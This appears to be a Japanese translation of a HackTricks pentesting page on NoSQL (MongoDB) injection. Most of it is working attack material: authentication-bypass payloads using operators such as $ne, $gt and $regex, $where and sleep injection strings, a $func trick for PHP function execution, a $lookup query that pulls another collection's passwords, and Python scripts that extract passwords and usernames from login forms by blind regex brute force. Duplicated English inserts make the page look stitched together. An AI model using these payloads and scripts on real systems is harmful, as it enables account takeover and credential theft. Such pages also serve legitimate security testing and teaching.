hacktricks/pentesting-web/nosql-injection.md

15 KiB
Raw Blame History

NoSQLインジェクション


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

Exploit

PHPでは、送信されるパラメータを_parameter=foo_から_parameter[arrName]=foo_に変更することで、配列を送信できます。

エクスプロイトは、オペレーターを追加することに基づいています:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

基本認証バイパス

等しくない ($ne) やより大きい ($gt) を使用する

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

NoSQL Injection

NoSQL databases like MongoDB are also vulnerable to injection attacks. In MongoDB, the injection can occur when a query is built using user input without proper sanitization. Attackers can manipulate the query to retrieve unauthorized data or perform malicious operations.

Example

Consider the following MongoDB query:

db.users.find({ username: 'admin' })

An attacker can perform a NoSQL injection by manipulating the query as follows:

db.users.find({ username: { $gt: '' }, password: { $gt: '' } })

This query can retrieve data of all users, not just the 'admin' user, potentially leading to a data breach.

Prevention

To prevent NoSQL injection, always validate and sanitize user input before using it in database queries. Use parameterized queries or ORM libraries that handle input sanitization automatically.

query = { $where: `this.username == '${username}'` }

攻撃者は、admin' || 'a'=='aのような文字列を入力することで、クエリが真理値('a'=='a'を満たす条件ですべてのドキュメントを返すように悪用できます。これは、SQLインジェクション攻撃と類似しており、' or 1=1-- -のような入力を使用してSQLクエリを操作することができます。MongoDBでは、' || 1==1//' || 1==1%00、またはadmin' || 'a'=='aのような入力を使用して同様のインジェクションが行われる可能性があります。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

長さ情報を抽出

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

データ情報を抽出

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

NoSQL Injection

NoSQL databases like MongoDB are also vulnerable to injection attacks. The injection techniques used in NoSQL databases are different from those used in traditional SQL databases. In NoSQL databases, attackers can exploit vulnerabilities to manipulate the NoSQL queries and retrieve unauthorized data.

NoSQL Injection Payloads

Below are some example payloads that can be used to perform NoSQL injection attacks:

  • Payload 1: {"username": {"$gt": ""}, "password": {"$gt": ""}}
  • Payload 2: {"$ne": {"password": ""}}
  • Payload 3: {"username": "admin", "password": {"$regex": "^a.*"}}

Preventing NoSQL Injection

To prevent NoSQL injection attacks, it is important to:

  • Sanitize user input
  • Use parameterized queries
  • Implement proper access controls
  • Keep the database and server software up to date

By following these best practices, you can reduce the risk of NoSQL injection vulnerabilities in your application.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP任意関数実行

MongoLiteライブラリの**$func**演算子を使用すると、デフォルトで使用される可能性があり、このレポートに記載されているように、任意の関数を実行できるかもしれません。

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

異なるコレクションから情報を取得する

異なるコレクションから情報を取得するには、$lookupを使用することができます。次の例では、usersという異なるコレクションから読み取り、ワイルドカードに一致するパスワードを持つすべてのエントリの結果を取得しています。

注意: $lookupや他の集計関数は、より一般的なfind()findOne()関数ではなく、検索を実行するためにaggregate()関数が使用された場合にのみ利用可能です。

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

MongoDB ペイロード

こちらからリスト

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQLスクリプト

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POSTログインからのユーザー名とパスワードの総当たり攻撃

これは簡単なスクリプトですが、前述のツールでもこのタスクを実行できます。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

ツール

参考文献

htARTE (HackTricks AWS Red Team Expert) で **ゼロからヒーローまでのAWSハッキングを学ぶ**

HackTricks をサポートする他の方法:


Trickest を使用して、世界で最も高度なコミュニティツールによって強化された ワークフローを簡単に構築 および 自動化 します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}